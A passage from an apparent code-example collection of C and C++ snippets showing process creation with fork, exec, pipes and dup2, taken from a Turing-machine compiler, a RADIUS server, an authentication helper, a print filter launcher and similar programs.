				assemblyCode += "\t\tjne\t\t.state_bounds_high_skip_";
				assemblyCode += castIntToString( j );
				assemblyCode += "\n";
				assemblyCode += "\t\tmov\t\tecx , 0\n";
			}
			else if ( transitions.at(j).direction == 'L' )
			{
				assemblyCode += "\t\tdec\t\tecx\n";
				assemblyCode += "\t\tcmp\t\tecx , ";
				assemblyCode += castIntToString( -1 );
				assemblyCode += "\n";
				assemblyCode += "\t\tjne\t\t.state_bounds_low_skip_";
				assemblyCode += castIntToString( j );
				assemblyCode += "\n";
				assemblyCode += "\t\tmov\t\tecx , ";
				assemblyCode += castIntToString( lengthOfTape - 2 );
				assemblyCode += "\n";
			}
			assemblyCode += "\n.state_bounds_high_skip_";
			assemblyCode += castIntToString( j );
			assemblyCode += ":\n";
			assemblyCode += ".state_bounds_low_skip_";
			assemblyCode += castIntToString( j );
			assemblyCode += ":\n";
			if ( env.speed > 0 )
			{
				assemblyCode += "\t\tpush\teax\n";
				assemblyCode += "\t\tpush\tecx\n";
				assemblyCode += "\t\tpush\tedx\n";
				assemblyCode += "\t\tpush\tdword ";
				assemblyCode += castIntToString( env.speed );
				assemblyCode += "\n";
				assemblyCode += "\t\tcall\tsleep\n";
				assemblyCode += "\t\tadd\t\tesp , 4\n";
				assemblyCode += "\t\tpop\t\tedx\n";
				assemblyCode += "\t\tpop\t\tecx\n";
				assemblyCode += "\t\tpop\t\teax\n";
			}
			// Print config info
			assemblyCode += "\t\tcmp\t\tesi , 0\n";
			assemblyCode += "\t\tje\t\t.no_config_print_";
			assemblyCode += castIntToString( j );
			assemblyCode += "\n";

			assemblyCode += "\t\tpush\teax\n";
			assemblyCode += "\t\tpush\tecx\n";
			assemblyCode += "\t\tpush\tedx\n";

			assemblyCode += "\t\tpush\tecx\n";
			assemblyCode += "\t\tpush\tedx\n";
			assemblyCode += "\t\tpush\tconfig_print_";
			assemblyCode += transitions.at(j).nextState;
			assemblyCode += "\n";
			assemblyCode += "\t\tcall\tprintf\n";

			assemblyCode += "\t\tadd\t\tesp , 12\n";
			assemblyCode += "\t\tpop\t\tedx\n";
			assemblyCode += "\t\tpop\t\tecx\n";
			assemblyCode += "\t\tpop\t\teax\n";

			assemblyCode += "\n.config_printed_";
			assemblyCode += castIntToString( j );
			assemblyCode += ":\n";
			assemblyCode += ".no_config_print_";
			assemblyCode += castIntToString( j );
			assemblyCode += ":\n";
			assemblyCode += "\t\tinc\t\tedi\n";
			assemblyCode += "\t\tcmp\t\tedi , ";
			assemblyCode += castIntToString( env.steps );
			assemblyCode += "\n";
			assemblyCode += "\t\tjge\t\ttransition_limit\n";
			assemblyCode += "\t\tjmp\t\tstate_";
			assemblyCode += transitions.at(j).nextState;
			assemblyCode += "\n";
		}
	}
	assemblyCode += "\ntransition_limit:\n";
	assemblyCode += "\t\tpush\teax\n";
	assemblyCode += "\t\tpush\tecx\n";
	assemblyCode += "\t\tpush\tedx\n";
	assemblyCode += "\t\tpush\ttrans_lim_str\n";
	assemblyCode += "\t\tcall\tprintf\n";
	assemblyCode += "\t\tadd\t\tesp , 4\n";
	assemblyCode += "\t\tpop\t\tedx\n";
	assemblyCode += "\t\tpop\t\tecx\n";
	assemblyCode += "\t\tpop\t\teax\n";
	assemblyCode += "\t\tjmp\t\texit_sim\n";

	assemblyCode += "\nstate_reject:\n";
	assemblyCode += "\t\tpush\teax\n";
	assemblyCode += "\t\tpush\tecx\n";
	assemblyCode += "\t\tpush\tedx\n";
	assemblyCode += "\t\tpush\treject_str\n";
	assemblyCode += "\t\tcall\tprintf\n";
	assemblyCode += "\t\tadd\t\tesp , 4\n";
	assemblyCode += "\t\tpop\t\tedx\n";
	assemblyCode += "\t\tpop\t\tecx\n";
	assemblyCode += "\t\tpop\t\teax\n";
	assemblyCode += "\t\tjmp\t\texit_sim\n";

	assemblyCode += "\nstate_accept:\n";
	assemblyCode += "\t\tpush\teax\n";
	assemblyCode += "\t\tpush\tecx\n";
	assemblyCode += "\t\tpush\tedx\n";
	assemblyCode += "\t\tpush\taccept_str\n";
	assemblyCode += "\t\tcall\tprintf\n";
	assemblyCode += "\t\tadd\t\tesp , 4\n";
	assemblyCode += "\t\tpop\t\tedx\n";
	assemblyCode += "\t\tpop\t\tecx\n";
	assemblyCode += "\t\tpop\t\teax\n";

	assemblyCode += "\nexit_sim:\n";
	// Free edx (tape pointer)
	if ( useNASM )
	{
		assemblyCode += "\t\tpush\tedx\n";
	}
	else
	{
		assemblyCode += "\t\tadd\t\tesp , -4\n";
		assemblyCode += "\t\tmov\t\t[esp] , edx\n";
	}
	assemblyCode += "\t\tcall\tfree\n";
	// Take down stack frame
	assemblyCode += "\t\tmov\t\tesp , ebp\n";
	if ( useNASM )
	{
		assemblyCode += "\t\tpop\t\tebp\n";
	}
	else
	{
		assemblyCode += "\t\tmov\t\tebp , [esp]\n";
		assemblyCode += "\t\tadd\t\tesp , 4\n";
	}
	// Return 0 to OS
	assemblyCode += "\t\tmov\t\teax , 0\n";
	assemblyCode += "\t\tret\n\n";

	if ( useNASM )
	{
		// Tape not big enough error
		assemblyCode += "tape_not_big_enough:\n";
		assemblyCode += "\t\tpush\tdword tape_err_str\n";
		assemblyCode += "\t\tcall\tprintf\n";
		assemblyCode += "\t\tmov\t\tesp , ebp\n";
		assemblyCode += "\t\tpop\t\tebp\n";
		// Return 0 to OS
		assemblyCode += "\t\tmov\t\teax , 0\n";
		assemblyCode += "\t\tret\n";
	}
	else
	{

	}



	if ( verbose )
	{
		std::cout << "* Compilation stage completed." << std::endl;
		std::cout << "* Beginning assembly stage..." << std::endl;
	}
	if ( verbose == link )
	{
		if ( verbose )
		{
			if ( execOut.size() == 0 )
			{
				asmFilename = "turing_asm.asm";
			}
			else
			{
				asmFilename = asmOut;
			}
			ofs.open( asmFilename.c_str() , std::fstream::out );
		}
		else
		{
			asmFilename = asmOut;
			ofs.open( asmOut.c_str() , std::fstream::out );
		}
	}
	else
	{
		asmFilename = "turing_asm.asm";
		ofs.open( "turing_asm.asm" , std::fstream::out );
	}
	// Write out the assembly code to a file
	ofs << assemblyCode << std::endl;

	// HERE ASSEMBLE THE CODE

	pid = fork();
	if ( pid == 0 )
	{
		// Child
		// Next three lines steal out and err from which and send to /dev/null
		int fd = open( "/dev/null" , O_WRONLY );
		//dup2(fd, 1);
	    //dup2(fd, 2);
	    if ( !useNASM )
	    {
			execlp( "as" , "as" , "--32" , "-o" , "turing_obj.o" , 
				asmFilename.c_str() , (char*)0 );
		}
		else
		{
			execlp( "nasm" , "nasm" , "-f" , "elf32" , "-o" , "turing_obj.o" ,
				asmFilename.c_str() , (char*)0 );
		}
		_exit( arbError );
	}
	else
	{
		// Parent
		pid_t result = waitpid( pid , 0 , 0 );
	}
	if ( verbose )
	{
		std::cout << "* Assembly stage completed." << std::endl;
		std::cout << "* Beginning linking stage..." << std::endl;
	}

	// HERE LINK THE CODE AND PRODUCE AN EXECUTABLE
	if ( link )
	{
		pid = fork();
		if ( pid == 0 )
		{
			std::string execOutFile;
			if ( execOut.size() > 0 )
			{
				execOutFile = execOut;
			}
			else if ( asmOut.size() > 0 )
			{
				execOutFile = asmOut;
			}
			else
			{
				execOutFile = "turing_exec.out";
			}
			execlp("gcc", "gcc", "-o", execOutFile.c_str() , "turing_obj.o" , 
				"-m32" , (char *)0 );
		}
		// We run this block if we are the parent
		else
		{
			// Wait for the gcc process to exit
			waitpid( pid , 0 , 0 );
		}
		if ( verbose )
		{
			std::cout << "* Linking stage completed, produced executable:\n  ";
			if ( execOut.size() > 0 )
			{
				std::cout << execOut << std::endl;
			}
			else
			{
				std::cout << "turing_exec.out" << std::endl;
			}
		}
	}

	return;
}
Exemple #8
0
int
dna_helper_start()
{
  const char *command = confValueGet("dna.helper.executable", NULL);
  const char *arg = confValueGet("dna.helper.argv.1", NULL);
  if (!command || !command[0]) {
    /* Check if we have a helper configured. If not, then set
     dna_helper_pid to magic value of 0 so that we don't waste time
     in future looking up the dna helper configuration value. */
    INFO("DNAHELPER none configured");
    dna_helper_pid = 0;
    return 0;
  }
  
  if (!my_subscriber)
    return WHY("Unable to lookup my SID");
  
  const char *mysid = alloca_tohex_sid(my_subscriber->sid);
  
  dna_helper_close_pipes();
  int stdin_fds[2], stdout_fds[2], stderr_fds[2];
  if (pipe(stdin_fds) == -1)
    return WHY_perror("pipe");
  if (pipe(stdout_fds) == -1) {
    WHY_perror("pipe");
    close(stdin_fds[0]);
    close(stdin_fds[1]);
    return -1;
  }
  if (pipe(stderr_fds) == -1) {
    WHY_perror("pipe");
    close(stdin_fds[0]);
    close(stdin_fds[1]);
    close(stdout_fds[0]);
    close(stdout_fds[1]);
    return -1;
  }

  switch (dna_helper_pid = fork()) {
  case 0:
    /* Child, should exec() to become helper after installing file descriptors. */
    setenv("MYSID", mysid, 1);
    set_logging(stderr);
    signal(SIGTERM, SIG_DFL);
    close(stdin_fds[1]);
    close(stdout_fds[0]);
    close(stderr_fds[0]);
    if (dup2(stderr_fds[1], 2) == -1 || dup2(stdout_fds[1], 1) == -1 || dup2(stdin_fds[0], 0) == -1) {
      LOG_perror(LOG_LEVEL_FATAL, "dup2");
      fflush(stderr);
      _exit(-1);
    }
    /* XXX: Need the cast on Solaris because it defins NULL as 0L and gcc doesn't
     * see it as a sentinal */
    execl(command, command, arg, (void *)NULL);
    LOGF_perror(LOG_LEVEL_FATAL, "execl(%s, %s, %s, NULL)", command, command, arg ? arg : "NULL");
    fflush(stderr);
    do { _exit(-1); } while (1);
    break;
  case -1:
    /* fork failed */
    WHY_perror("fork");
    close(stdin_fds[0]);
    close(stdin_fds[1]);
    close(stdout_fds[0]);
    close(stdout_fds[1]);
    close(stderr_fds[0]);
    close(stderr_fds[1]);
    return -1;
  default:
    /* Parent, should put file descriptors into place for use */
    close(stdin_fds[0]);
    close(stdout_fds[1]);
    close(stderr_fds[1]);
    dna_helper_started = 0;
    dna_helper_stdin = stdin_fds[1];
    dna_helper_stdout = stdout_fds[0];
    dna_helper_stderr = stderr_fds[0];
    INFOF("STARTED DNA HELPER pid=%u stdin=%d stdout=%d stderr=%d executable=%s arg=%s",
	dna_helper_pid,
	dna_helper_stdin,
	dna_helper_stdout,
	dna_helper_stderr,
	command,
	arg ? arg : "NULL"
      );
    sched_requests.function = monitor_requests;
    sched_requests.context = NULL;
    sched_requests.poll.fd = -1;
    sched_requests.poll.events = POLLOUT;
    sched_requests.stats = NULL;
    sched_timeout.function = reply_timeout;
    sched_timeout.context = NULL;
    sched_timeout.stats = NULL;
    sched_replies.function = monitor_replies;
    sched_replies.context = NULL;
    sched_replies.poll.fd = dna_helper_stdout;
    sched_replies.poll.events = POLLIN;
    sched_replies.stats = NULL;
    sched_errors.function = monitor_errors;
    sched_errors.context = NULL;
    sched_errors.poll.fd = dna_helper_stderr;
    sched_errors.poll.events = POLLIN;
    sched_errors.stats = NULL;
    sched_harvester.function = harvester;
    sched_harvester.stats = NULL;
    sched_harvester.alarm = gettime_ms() + 1000;
    sched_harvester.deadline = sched_harvester.alarm + 1000;
    reply_bufend = reply_buffer;
    discarding_until_nl = 0;
    awaiting_reply = 0;
    watch(&sched_replies);
    watch(&sched_errors);
    schedule(&sched_harvester);
    return 0;
  }
  return -1;
}
Exemple #9
0
    /*
     * osauthGetAuth - this function runs the OS_AUTH_CMD command to
     * retrieve an authenticator for the calling user.
     */
    int
    osauthGetAuth( char *challenge,
                   char *username,
                   char *authenticator,
                   int authenticator_buflen ) {
#if defined(OS_AUTH)
        static char fname[] = "osauthGetAuth";
        int pipe1[2], pipe2[2];
        pid_t childPid;
        int childStatus = 0;
        int child_stdin, child_stdout, nb;
        int buflen, challenge_len = CHALLENGE_LEN;
        char buffer[128];

        if ( challenge == NULL || username == NULL || authenticator == NULL ) {
            return USER__NULL_INPUT_ERR;
        }

        if ( pipe( pipe1 ) < 0 ) {
            rodsLog( LOG_ERROR, "%s: pipe1 create failed. errno = %d",
                     fname, errno );
            return ( SYS_PIPE_ERROR - errno );
        }
        if ( pipe( pipe2 ) < 0 ) {
            rodsLog( LOG_ERROR, "%s: pipe2 create failed. errno = %d",
                     fname, errno );
            close( pipe1[0] );
            close( pipe1[1] );
            return ( SYS_PIPE_ERROR - errno );
        }

        childPid = RODS_FORK();

        if ( childPid < 0 ) {
            rodsLog( LOG_ERROR, "%s: RODS_FORK failed. errno = %d",
                     fname, errno );
            close( pipe1[0] );
            close( pipe1[1] );
            close( pipe2[0] );
            close( pipe2[1] );
            return SYS_FORK_ERROR;
        }
        else if ( childPid == 0 ) {
            /* in the child process */

            /* pipe1 will be for child's stdin */
            close( pipe1[1] );
            dup2( pipe1[0], 0 );
            /* pipe2 will be for child's stdout */
            close( pipe2[0] );
            dup2( pipe2[1], 1 );

            /* set the username in an environment variable */
            setenv( OS_AUTH_ENV_USER, username, 1 );

            /* run the OS_AUTH_CMD */
            execlp( OS_AUTH_CMD, OS_AUTH_CMD, ( char* )NULL );
            rodsLog( LOG_ERROR, "%s: child execl %s failed. errno = %d",
                     fname, OS_AUTH_CMD, errno );
        }
        else {
            /* in the parent process */
            close( pipe1[0] );
            child_stdin = pipe1[1];  /* parent writes to child's stdin */
            close( pipe2[1] );
            child_stdout = pipe2[0]; /* parent reads from child's stdout */

            /* send the challenge to the OS_AUTH_CMD program on its stdin */
            nb = write( child_stdin, &challenge_len, sizeof( challenge_len ) );
            if ( nb < 0 ) {
                rodsLog( LOG_ERROR,
                         "%s: error writing challenge_len to %s. errno = %d",
                         fname, OS_AUTH_CMD, errno );
                close( child_stdin );
                close( child_stdout );
                return ( SYS_PIPE_ERROR - errno );
            }
            nb = write( child_stdin, challenge, challenge_len );
            if ( nb < 0 ) {
                rodsLog( LOG_ERROR,
                         "%s: error writing challenge to %s. errno = %d",
                         fname, OS_AUTH_CMD, errno );
                close( child_stdin );
                close( child_stdout );
                return ( SYS_PIPE_ERROR - errno );
            }

            /* read the response */
            buflen = read( child_stdout, buffer, 128 );
            if ( buflen < 0 ) {
                rodsLog( LOG_ERROR, "%s: error reading from %s. errno = %d",
                         fname, OS_AUTH_CMD, errno );
                close( child_stdin );
                close( child_stdout );
                return ( SYS_PIPE_ERROR - errno );
            }

            close( child_stdin );
            close( child_stdout );

            if ( waitpid( childPid, &childStatus, 0 ) < 0 ) {
                rodsLog( LOG_ERROR, "%s: waitpid error. errno = %d",
                         fname, errno );
                return EXEC_CMD_ERROR;
            }

            if ( WIFEXITED( childStatus ) ) {
                if ( WEXITSTATUS( childStatus ) ) {
                    rodsLog( LOG_ERROR,
                             "%s: command failed: %s", fname, buffer );
                    return EXEC_CMD_ERROR;
                }
            }
            else {
                rodsLog( LOG_ERROR,
                         "%s: some error running %s", fname, OS_AUTH_CMD );
            }

            /* authenticator is in buffer now */
            if ( buflen > authenticator_buflen ) {
                rodsLog( LOG_ERROR,
                         "%s: not enough space in return buffer for authenticator", fname );
                return EXEC_CMD_OUTPUT_TOO_LARGE;
            }
            memcpy( authenticator, buffer, buflen );
        }

        return 0;

#else /* defined OS_AUTH */
        if ( ProcessType == CLIENT_PT ) {
            return( OSAUTH_NOT_BUILT_INTO_CLIENT );
        }
        else {
            return( OSAUTH_NOT_BUILT_INTO_SERVER );
        }
#endif
    }
Exemple #10
0
int main(int argc, char* argv[])
{
	char buf[200];
	int tab[2];
	int tab2[2];
	int tab3[2];
	int tab4[2];
	int tab5[2];
	pipe(tab);
	pipe(tab2);
	pipe(tab3);
	pipe(tab4);
	pipe(tab5);

	if (fork() == 0)
	{
		if (fork() == 0)
		{

			if (fork() == 0)
			{
				close(tab[0]);
				close(tab2[0]);
				close(tab2[1]);
				close(tab3[0]);
				close(tab3[1]);
				close(tab4[0]);
				close(tab4[1]);
				close(tab5[0]);
				close(tab5[1]);
				dup2(tab[1], 1);
				execlp("ps", "ps", "-ef", NULL);
			}
			else{
				close(tab2[0]);
				close(tab[1]);

				close(tab3[0]);
				close(tab3[1]);
				close(tab4[0]);
				close(tab4[1]);
				close(tab5[0]);
				close(tab5[1]);

				dup2(tab[0], 0);
				dup2(tab2[1], 1);

				execlp("tr", "tr", "-s","' '",":", NULL);
			}

		}
		else
		{
			if (fork() == 0)
			{
				close(tab[0]);
				close(tab[1]);
				close(tab2[1]);
				close(tab3[0]);
				close(tab4[0]);
				close(tab4[1]);
				close(tab5[0]);
				close(tab5[1]);
				dup2(tab2[0], 0);
				dup2(tab3[1], 1);
				execlp("cut", "cut", "-d:","-f1", NULL);
			}
			else{
				close(tab[0]);
				close(tab[1]);
				close(tab2[1]);
				close(tab2[0]);
				close(tab4[0]);
				close(tab3[1]);
				close(tab5[0]);
				close(tab5[1]);
				dup2(tab3[0], 0);
				dup2(tab4[1], 1);
				execlp("sort", "sort",NULL);
			}}
	}
	else
	{
		if (fork() == 0)
		{
			close(tab[0]);
			close(tab[1]);
			close(tab2[1]);
			close(tab2[0]);
			close(tab3[0]);
			close(tab3[1]);
			close(tab5[0]);
			close(tab4[1]);
			dup2(tab4[0], 0);
			dup2(tab5[1], 1);
			execlp("uniq", "uniq","-c",NULL);
		}
		else{
			close(tab[0]);
			close(tab[1]);
			close(tab2[1]);
			close(tab2[0]);
			close(tab3[0]);
			close(tab3[1]);
			close(tab5[1]);
			close(tab4[0]);
			close(tab4[1]);
			dup2(tab5[0], 0);
			execlp("sort", "sort","-n", NULL);
		}
	}
	return 0;
}
Exemple #11
0
/*
 *	The main guy.
 */
int main(int argc, char *argv[])
{
	int rcode = EXIT_SUCCESS;
	int status;
	int argval;
	int spawn_flag = true;
	int dont_fork = false;
	int write_pid = false;
	int flag = 0;

#ifdef HAVE_SIGACTION
	struct sigaction act;
#endif

#ifdef OSFC2
	set_auth_parameters(argc,argv);
#endif

	if ((progname = strrchr(argv[0], FR_DIR_SEP)) == NULL)
		progname = argv[0];
	else
		progname++;

#ifdef WIN32
	{
		WSADATA wsaData;
		if (WSAStartup(MAKEWORD(2, 0), &wsaData)) {
		  fprintf(stderr, "%s: Unable to initialize socket library.\n", progname);
			return 1;
		}
	}
#endif

	debug_flag = 0;
	spawn_flag = true;
	radius_dir = talloc_strdup(NULL, RADIUS_DIR);

	/*
	 *	Ensure that the configuration is initialized.
	 */
	memset(&mainconfig, 0, sizeof(mainconfig));
	mainconfig.myip.af = AF_UNSPEC;
	mainconfig.port = -1;
	mainconfig.name = "radiusd";

#ifdef HAVE_SIGACTION
	memset(&act, 0, sizeof(act));
	act.sa_flags = 0 ;
	sigemptyset( &act.sa_mask ) ;
#endif

	/*
	 *	Don't put output anywhere until we get told a little
	 *	more.
	 */
	default_log.dest = L_DST_NULL;
	default_log.fd = -1;
	mainconfig.log_file = NULL;

	/*  Process the options.  */
	while ((argval = getopt(argc, argv, "Cd:D:fhi:l:mMn:p:PstvxX")) != EOF) {

		switch(argval) {
			case 'C':
				check_config = true;
				spawn_flag = false;
				dont_fork = true;
				break;

			case 'd':
				if (radius_dir) {
					rad_const_free(radius_dir);
				}
				radius_dir = talloc_strdup(NULL, optarg);
				break;

			case 'D':
				mainconfig.dictionary_dir = talloc_strdup(NULL, optarg);
				break;

			case 'f':
				dont_fork = true;
				break;

			case 'h':
				usage(0);
				break;

			case 'l':
				if (strcmp(optarg, "stdout") == 0) {
					goto do_stdout;
				}
				mainconfig.log_file = strdup(optarg);
				default_log.dest = L_DST_FILES;
				default_log.fd = open(mainconfig.log_file,
							    O_WRONLY | O_APPEND | O_CREAT, 0640);
				if (default_log.fd < 0) {
					fprintf(stderr, "radiusd: Failed to open log file %s: %s\n", mainconfig.log_file, fr_syserror(errno));
					exit(EXIT_FAILURE);
				}
				fr_log_fp = fdopen(default_log.fd, "a");
				break;

			case 'i':
				if (ip_hton(optarg, AF_UNSPEC, &mainconfig.myip) < 0) {
					fprintf(stderr, "radiusd: Invalid IP Address or hostname \"%s\"\n", optarg);
					exit(EXIT_FAILURE);
				}
				flag |= 1;
				break;

			case 'n':
				mainconfig.name = optarg;
				break;

			case 'm':
				mainconfig.debug_memory = 1;
				break;

			case 'M':
				memory_report = 1;
				mainconfig.debug_memory = 1;
				break;

			case 'p':
				mainconfig.port = atoi(optarg);
				if ((mainconfig.port <= 0) ||
				    (mainconfig.port >= 65536)) {
					fprintf(stderr, "radiusd: Invalid port number %s\n", optarg);
					exit(EXIT_FAILURE);
				}
				flag |= 2;
				break;

			case 'P':
				/* Force the PID to be written, even in -f mode */
				write_pid = true;
				break;

			case 's':	/* Single process mode */
				spawn_flag = false;
				dont_fork = true;
				break;

			case 't':	/* no child threads */
				spawn_flag = false;
				break;

			case 'v':
				/* Don't print timestamps */
				debug_flag += 2;
				fr_log_fp = stdout;
				default_log.dest = L_DST_STDOUT;
				default_log.fd = STDOUT_FILENO;

				version();
				exit(EXIT_SUCCESS);
			case 'X':
				spawn_flag = false;
				dont_fork = true;
				debug_flag += 2;
				mainconfig.log_auth = true;
				mainconfig.log_auth_badpass = true;
				mainconfig.log_auth_goodpass = true;
		do_stdout:
				fr_log_fp = stdout;
				default_log.dest = L_DST_STDOUT;
				default_log.fd = STDOUT_FILENO;
				break;

			case 'x':
				debug_flag++;
				break;

			default:
				usage(1);
				break;
		}
	}

	if (memory_report) {
		talloc_enable_null_tracking();
#ifdef WITH_VERIFY_PTR
		talloc_set_abort_fn(die_horribly);
#endif
	}
	talloc_set_log_fn(log_talloc);

	/*
	 *	Mismatch between build time OpenSSL and linked SSL,
	 *	better to die here than segfault later.
	 */
#ifdef HAVE_OPENSSL_CRYPTO_H
	if (ssl_check_version() < 0) {
		exit(EXIT_FAILURE);
	}

	/*
	 *	Initialising OpenSSL once, here, is safer than having individual
	 *	modules do it.
	 */
	tls_global_init();
#endif

	if (flag && (flag != 0x03)) {
		fprintf(stderr, "radiusd: The options -i and -p cannot be used individually.\n");
		exit(EXIT_FAILURE);
	}

	if (debug_flag) {
		version();
	}

	/*  Read the configuration files, BEFORE doing anything else.  */
	if (read_mainconfig(0) < 0) {
		exit(EXIT_FAILURE);
	}

#ifndef __MINGW32__
	/*
	 *  Disconnect from session
	 */
	if (dont_fork == false) {
		pid_t pid = fork();

		if (pid < 0) {
			ERROR("Couldn't fork: %s", fr_syserror(errno));
			exit(EXIT_FAILURE);
		}

		/*
		 *  The parent exits, so the child can run in the background.
		 */
		if (pid > 0) {
			exit(EXIT_SUCCESS);
		}
#ifdef HAVE_SETSID
		setsid();
#endif
	}
#endif

	/*
	 *  Ensure that we're using the CORRECT pid after forking,
	 *  NOT the one we started with.
	 */
	radius_pid = getpid();

	/*
	 *	If we're running as a daemon, close the default file
	 *	descriptors, AFTER forking.
	 */
	if (!debug_flag) {
		int devnull;

		devnull = open("/dev/null", O_RDWR);
		if (devnull < 0) {
			ERROR("Failed opening /dev/null: %s\n",
			       fr_syserror(errno));
			exit(EXIT_FAILURE);
		}
		dup2(devnull, STDIN_FILENO);
		if (default_log.dest == L_DST_STDOUT) {
			setlinebuf(stdout);
			default_log.fd = STDOUT_FILENO;
		} else {
			dup2(devnull, STDOUT_FILENO);
		}
		if (default_log.dest == L_DST_STDERR) {
			setlinebuf(stderr);
			default_log.fd = STDERR_FILENO;
		} else {
			dup2(devnull, STDERR_FILENO);
		}
		close(devnull);

	} else {
		setlinebuf(stdout); /* unbuffered output */
	}

	/*
	 *	Now we have logging check that the OpenSSL
	 */

	/*
	 *	Initialize the event pool, including threads.
	 */
	radius_event_init(mainconfig.config, spawn_flag);

	/*
	 *	Now that we've set everything up, we can install the signal
	 *	handlers.  Before this, if we get any signal, we don't know
	 *	what to do, so we might as well do the default, and die.
	 */
#ifdef SIGPIPE
	signal(SIGPIPE, SIG_IGN);
#endif
#ifdef HAVE_SIGACTION
	act.sa_handler = sig_hup;
	sigaction(SIGHUP, &act, NULL);
	act.sa_handler = sig_fatal;
	sigaction(SIGTERM, &act, NULL);
#else
#ifdef SIGHUP
	signal(SIGHUP, sig_hup);
#endif
	signal(SIGTERM, sig_fatal);
#endif
	/*
	 *	If we're debugging, then a CTRL-C will cause the
	 *	server to die immediately.  Use SIGTERM to shut down
	 *	the server cleanly in that case.
	 */
	if ((mainconfig.debug_memory == 1) || (debug_flag == 0)) {
#ifdef HAVE_SIGACTION
		act.sa_handler = sig_fatal;
		sigaction(SIGINT, &act, NULL);
		sigaction(SIGQUIT, &act, NULL);
#else
		signal(SIGINT, sig_fatal);
#ifdef SIGQUIT
		signal(SIGQUIT, sig_fatal);
#endif
#endif
	}

	/*
	 *	Everything seems to have loaded OK, exit gracefully.
	 */
	if (check_config) {
		DEBUG("Configuration appears to be OK");

		/* for -C -m|-M */
		if (mainconfig.debug_memory) {
			goto cleanup;
		}

		exit(EXIT_SUCCESS);
	}

#ifdef WITH_STATS
	radius_stats_init(0);
#endif

	/*
	 *	Write out the PID anyway if were in foreground mode.
	 */
	if (!dont_fork) write_pid = true;

	/*
	 *  Only write the PID file if we're running as a daemon.
	 *
	 *  And write it AFTER we've forked, so that we write the
	 *  correct PID.
	 */
	if (write_pid) {
		FILE *fp;

		fp = fopen(mainconfig.pid_file, "w");
		if (fp != NULL) {
			/*
			 *	FIXME: What about following symlinks,
			 *	and having it over-write a normal file?
			 */
			fprintf(fp, "%d\n", (int) radius_pid);
			fclose(fp);
		} else {
			ERROR("Failed creating PID file %s: %s\n",
			       mainconfig.pid_file, fr_syserror(errno));
			exit(EXIT_FAILURE);
		}
	}

	exec_trigger(NULL, NULL, "server.start", false);

	/*
	 *	Process requests until HUP or exit.
	 */
	while ((status = radius_event_process()) == 0x80) {
#ifdef WITH_STATS
		radius_stats_init(1);
#endif
		hup_mainconfig();
	}
	if (status < 0) {
		ERROR("Exiting due to internal error: %s", fr_strerror());
		rcode = EXIT_FAILURE;
	} else {
		INFO("Exiting normally");
	}

	exec_trigger(NULL, NULL, "server.stop", false);

	/*
	 *	Ignore the TERM signal: we're
	 *	about to die.
	 */
	signal(SIGTERM, SIG_IGN);

	/*
	 *	Send a TERM signal to all
	 *	associated processes
	 *	(including us, which gets
	 *	ignored.)
	 */
#ifndef __MINGW32__
	if (spawn_flag) kill(-radius_pid, SIGTERM);
#endif

	/*
	 *	We're exiting, so we can delete the PID
	 *	file.  (If it doesn't exist, we can ignore
	 *	the error returned by unlink)
	 */
	if (dont_fork == false) {
		unlink(mainconfig.pid_file);
	}

	radius_event_free();

cleanup:
	/*
	 *	Detach any modules.
	 */
	detach_modules();

	xlat_free();		/* modules may have xlat's */

	/*
	 *	Free the configuration items.
	 */
	free_mainconfig();

	rad_const_free(radius_dir);

#ifdef WIN32
	WSACleanup();
#endif

	if (memory_report) {
		INFO("Allocated memory at time of report:");
		log_talloc_report(NULL);
	}

	return rcode;
}
Exemple #12
0
static int				/* O - Process ID or -1 on error */
exec_filter(const char *filter,		/* I - Filter to execute */
            char       **argv,		/* I - Argument list */
	    char       **envp,		/* I - Environment list */
	    int        infd,		/* I - Stdin file descriptor */
	    int        outfd)		/* I - Stdout file descriptor */
{
  int		pid,			/* Process ID */
		fd;			/* Temporary file descriptor */
#if defined(__APPLE__)
  char		processPath[1024],	/* CFProcessPath environment variable */
		linkpath[1024];		/* Link path for symlinks... */
  int		linkbytes;		/* Bytes for link path */


 /*
  * Add special voodoo magic for MacOS X - this allows MacOS X
  * programs to access their bundle resources properly...
  */

  if ((linkbytes = readlink(filter, linkpath, sizeof(linkpath) - 1)) > 0)
  {
   /*
    * Yes, this is a symlink to the actual program, nul-terminate and
    * use it...
    */

    linkpath[linkbytes] = '\0';

    if (linkpath[0] == '/')
      snprintf(processPath, sizeof(processPath), "CFProcessPath=%s",
	       linkpath);
    else
      snprintf(processPath, sizeof(processPath), "CFProcessPath=%s/%s",
	       dirname((char *)filter), linkpath);
  }
  else
    snprintf(processPath, sizeof(processPath), "CFProcessPath=%s", filter);

  envp[0] = processPath;		/* Replace <CFProcessPath> string */
#endif	/* __APPLE__ */

  if ((pid = fork()) == 0)
  {
   /*
    * Child process goes here...
    *
    * Update stdin/stdout/stderr as needed...
    */

    if (infd != 0)
    {
      if (infd < 0)
        infd = open("/dev/null", O_RDONLY);

      if (infd > 0)
      {
        dup2(infd, 0);
	close(infd);
      }
    }

    if (outfd != 1)
    {
      if (outfd < 0)
        outfd = open("/dev/null", O_WRONLY);

      if (outfd > 1)
      {
	dup2(outfd, 1);
	close(outfd);
      }
    }

    if ((fd = open("/dev/null", O_RDWR)) > 3)
    {
      dup2(fd, 3);
      close(fd);
    }
    fcntl(3, F_SETFL, O_NDELAY);

    if ((fd = open("/dev/null", O_RDWR)) > 4)
    {
      dup2(fd, 4);
      close(fd);
    }
    fcntl(4, F_SETFL, O_NDELAY);

   /*
    * Execute command...
    */

    execve(filter, argv, envp);

    perror(filter);

    exit(errno);
  }

  return (pid);
}
Exemple #13
0
int main (int argc, char const * argv [])

{
	extern struct channel channel;
	static char const * optv [] =
	{
		"C:eFi:n:N:p:P:qt:vx",
		"-N file -P file [-n file] [-p file]",
		"Qualcomm Atheros Powerline Device Host Emulator for INT6300",
		"C f\twrite NVM file to device using VS_SET_SDRAM",
		"e\tredirect stderr to stdout",
		"F[F]\tflash (force) NVRAM using VS_MOD_NVM",

#if defined (WINPCAP) || defined (LIBPCAP)

		"i n\thost interface is (n) [" LITERAL (CHANNEL_ETHNUMBER) "]",

#else

		"i s\thost interface is (s) [" LITERAL (CHANNEL_ETHDEVICE) "]",

#endif

		"n f\tread NVM from device into file using VS_RD_MOD",
		"N f\twrite NVM file to device using VS_WR_MEM",
		"p f\tread PIB from device into file using VS_RD_MOD",
		"P f\twrite PIB file to device using VS_WR_MEM",
		"q\tquiet mode",
		"t n\tread timeout is (n) milliseconds [" LITERAL (CHANNEL_TIMEOUT) "]",
		"v\tverbose mode",
		"x\texit on error",
		(char const *) (0)
	};

#include "../plc/plc.c"

	signed c;
